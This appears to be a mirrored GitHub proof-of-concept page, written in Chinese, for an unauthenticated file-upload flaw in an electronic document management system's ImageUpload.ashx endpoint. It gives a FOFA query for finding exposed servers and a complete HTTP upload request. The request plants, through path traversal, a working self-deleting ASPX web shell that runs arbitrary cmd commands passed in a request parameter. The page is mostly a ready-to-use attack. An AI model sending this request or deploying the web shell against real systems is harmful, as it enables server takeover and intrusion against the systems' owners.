mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
43 lines
1.8 KiB
Markdown
43 lines
1.8 KiB
Markdown
|
|
# 电子资料管理系统ImageUpload.ashx文件上传漏洞
|
||
|
|
|
||
|
|
电子资料管理系统 /Menu/ImageManger/ImageUpload.ashx 接口存在文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
body="Menu/Login/ThirdLoginHandler.ashx"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
POST /Menu/ImageManger/ImageUpload.ashx HTTP/1.1
|
||
|
|
Host:
|
||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
||
|
|
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||
|
|
Upgrade-Insecure-Requests: 1
|
||
|
|
Accept-Encoding: gzip
|
||
|
|
|
||
|
|
------WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||
|
|
Content-Disposition: form-data; name="isUpload"
|
||
|
|
|
||
|
|
印章图片
|
||
|
|
------WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||
|
|
Content-Disposition: form-data; name="entid"
|
||
|
|
|
||
|
|
666
|
||
|
|
------WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||
|
|
Content-Disposition: form-data; name="Type"
|
||
|
|
|
||
|
|
1
|
||
|
|
------WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||
|
|
Content-Disposition: form-data; name="Filedata"; filename="../rce.aspx"
|
||
|
|
Content-Type: text/plain
|
||
|
|
|
||
|
|
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
|
||
|
|
------WebKitFormBoundaryssh7UfnPpGU7BXfK--
|
||
|
|
```
|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|
文件路径:`http://127.0.0.1/rce.aspx`
|